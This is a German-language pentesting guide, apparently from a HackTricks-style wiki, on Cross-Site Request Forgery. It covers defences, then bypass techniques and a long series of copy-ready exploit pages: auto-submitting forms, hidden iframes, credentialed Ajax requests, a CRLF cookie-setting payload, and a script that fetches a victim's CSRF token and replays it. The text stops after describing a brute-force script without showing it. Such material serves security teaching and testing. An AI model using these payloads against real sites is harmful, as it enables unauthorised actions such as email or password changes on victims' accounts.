Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
Hacking Einblicke
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
Echtzeit-Hack-Nachrichten
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
Neueste Ankündigungen
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Treten Sie uns aufDiscord bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
Cross-Site Request Forgery (CSRF) Erklärt
Cross-Site Request Forgery (CSRF) ist eine Art von Sicherheitsanfälligkeit, die in Webanwendungen zu finden ist. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durch Ausnutzung ihrer authentifizierten Sitzungen durchzuführen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Einreichen von Formularen oder das Abrufen von Bildern verwendet.
Voraussetzungen für einen CSRF-Angriff
Um eine CSRF-Sicherheitsanfälligkeit auszunutzen, müssen mehrere Bedingungen erfüllt sein:
Identifizieren Sie eine wertvolle Aktion: Der Angreifer muss eine Aktion finden, die es wert ist, ausgenutzt zu werden, wie z.B. das Ändern des Passworts, der E-Mail-Adresse oder das Erhöhen von Berechtigungen.
Sitzungsmanagement: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können.
Fehlen unvorhersehbarer Parameter: Die Anfrage sollte keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.
Schnelle Überprüfung
Sie könnten die Anfrage in Burp abfangen und die CSRF-Schutzmaßnahmen überprüfen. Um dies im Browser zu testen, können Sie auf Copy as fetch klicken und die Anfrage überprüfen:
Verteidigung gegen CSRF
Mehrere Gegenmaßnahmen können implementiert werden, um sich gegen CSRF-Angriffe zu schützen:
Benutzerauthentifizierung: Die Aufforderung zur Eingabe des Passworts des Benutzers oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
Überprüfung von Referrer- oder Origin-Headern: Die Validierung dieser Header kann helfen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Allerdings kann eine sorgfältige Gestaltung von URLs schlecht implementierte Überprüfungen umgehen, wie z.B.:
Verwendung von http://mal.net?orig=http://example.com (URL endet mit der vertrauenswürdigen URL)
Verwendung von http://example.com.mal.net (URL beginnt mit der vertrauenswürdigen URL)
Ändern von Parameternamen: Das Ändern der Namen von Parametern in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
CSRF-Token: Die Einbeziehung eines einzigartigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich mindern. Die Wirksamkeit des Tokens kann durch die Durchsetzung von CORS erhöht werden.
Das Verständnis und die Implementierung dieser Verteidigungen sind entscheidend für die Aufrechterhaltung der Sicherheit und Integrität von Webanwendungen.
Umgehung von Verteidigungen
Von POST zu GET
Vielleicht ist das Formular, das Sie ausnutzen möchten, darauf vorbereitet, eine POST-Anfrage mit einem CSRF-Token zu senden, aber Sie sollten überprüfen, ob auch eine GET-Anfragegültig ist und ob bei der Sendung einer GET-Anfrage das CSRF-Token weiterhin validiert wird.
Fehlendes Token
Anwendungen könnten einen Mechanismus implementieren, um Tokens zu validieren, wenn sie vorhanden sind. Eine Sicherheitsanfälligkeit entsteht jedoch, wenn die Validierung ganz übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der das Token trägt, nicht nur dessen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen.
CSRF-Token ist nicht an die Benutzersitzung gebunden
Anwendungen, die CSRF-Token nicht an Benutzersitzungen binden, stellen ein erhebliches Sicherheitsrisiko dar. Diese Systeme überprüfen Tokens gegen einen globalen Pool, anstatt sicherzustellen, dass jedes Token an die initiierende Sitzung gebunden ist.
So nutzen Angreifer dies aus:
Authentifizieren Sie sich mit ihrem eigenen Konto.
Erhalten Sie ein gültiges CSRF-Token aus dem globalen Pool.
Verwenden Sie dieses Token in einem CSRF-Angriff gegen ein Opfer.
Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen und die unzureichende Token-Validierungsmechanismus der Anwendung auszunutzen.
Methodenumgehung
Wenn die Anfrage eine "seltsame" Methode verwendet, überprüfen Sie, ob die Methodenüberschreibungsfunktionalität funktioniert. Wenn beispielsweise die PUT-Methode verwendet wird, können Sie versuchen, die POST-Methode zu verwenden und zu senden: https://example.com/my/dear/api/val/num?_method=PUT
Dies könnte auch funktionieren, indem Sie den _method-Parameter innerhalb einer POST-Anfrage senden oder die Header verwenden:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Umgehung des benutzerdefinierten Header-Tokens
Wenn die Anfrage einen benutzerdefinierten Header mit einem Token als CSRF-Schutzmethode hinzufügt, dann:
Testen Sie die Anfrage ohne den benutzerdefinierten Token und auch Header.
Testen Sie die Anfrage mit genau gleicher Länge, aber unterschiedlichem Token.
CSRF-Token wird durch ein Cookie verifiziert
Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfrageparameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das im Backend gesendete Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob das Token im Anfrageparameter mit dem Wert im Cookie übereinstimmt.
Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwächen aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z.B. eine CRLF-Sicherheitsanfälligkeit. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, gefolgt von der Einleitung des CSRF-Angriffs.
Hier ist ein Beispiel, wie ein Angriff strukturiert sein könnte:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><imgsrc="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"onerror="document.forms[0].submit();"/></body></html>
Beachten Sie, dass wenn der csrf-Token mit dem Sitzungscookie verbunden ist, dieser Angriff nicht funktioniert, da Sie die Sitzung des Opfers setzen müssen und Sie sich somit selbst angreifen.
Content-Type-Änderung
Laut dieser Quelle sind die erlaubten Content-Type-Werte, um Preflight-Anfragen mit der POST-Methode zu vermeiden:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Beachten Sie jedoch, dass die Logik der Server variieren kann, abhängig vom verwendeten Content-Type, daher sollten Sie die genannten Werte und andere wie application/json,text/xml, application/xml. ausprobieren.
Beispiel (von hier) für das Senden von JSON-Daten als text/plain:
Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, Content-Type: application/json in einem HTML-Formular zu verwenden. Ebenso initiiert die Nutzung von XMLHttpRequest, um diesen Inhaltstyp zu senden, eine Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
Verwendung alternativer Inhaltstypen: Verwenden Sie Content-Type: text/plain oder Content-Type: application/x-www-form-urlencoded, indem Sie enctype="text/plain" im Formular festlegen. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt.
Ändern des Inhaltstyps: Um eine Preflight-Anfrage zu vermeiden und sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit Content-Type: text/plain; application/json senden. Dies löst keine Preflight-Anfrage aus, könnte jedoch vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, dass er application/json akzeptiert.
Nutzung von SWF Flash-Dateien: Eine weniger gängige, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe diesen Beitrag.
Umgehung der Überprüfungen von Referrer / Origin
Vermeiden Sie den Referrer-Header
Anwendungen können den 'Referer'-Header nur validieren, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann der folgende HTML-Meta-Tag verwendet werden:
<metaname="referrer"content="never">
Dies stellt sicher, dass der 'Referer'-Header weggelassen wird, wodurch möglicherweise Validierungsprüfungen in einigen Anwendungen umgangen werden.
Regexp-Umgehungen
Um den Domainnamen des Servers in der URL festzulegen, den der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
HEAD-Methode umgehen
Im ersten Teil von diesem CTF-Bericht wird erklärt, dass Oaks Quellcode, ein Router, HEAD-Anfragen als GET-Anfragen ohne Antwortkörper behandelt - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstelle eines spezifischen Handlers, der sich mit HEAD-Anfragen befasst, werden sie einfach dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper.
Daher, wenn eine GET-Anfrage eingeschränkt wird, könntest du einfach eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird.
Exploit-Beispiele
Exfiltrieren des CSRF-Tokens
Wenn ein CSRF-Token als Schutz verwendet wird, könntest du versuchen, es zu exfiltrieren, indem du eine XSS-Schwachstelle oder eine Dangling Markup-Schwachstelle ausnutzt.
GET mit HTML-Tags
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Andere HTML5-Tags, die verwendet werden können, um automatisch eine GET-Anfrage zu senden, sind:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Form POST-Anfrage
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit --><inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Form POST-Anfrage über iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST-Anfrage
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type','application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRF-Token stehlen und eine POST-Anfrage senden
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
CSRF-Token stehlen und eine Post-Anfrage mit einem iframe, einem Formular und Ajax senden
Der Code kann verwendet werden, um ein Login-Formular mit einem CSRF-Token zu bruteforcen (er verwendet auch den Header X-Forwarded-For, um zu versuchen, eine mögliche IP-Blacklist zu umgehen):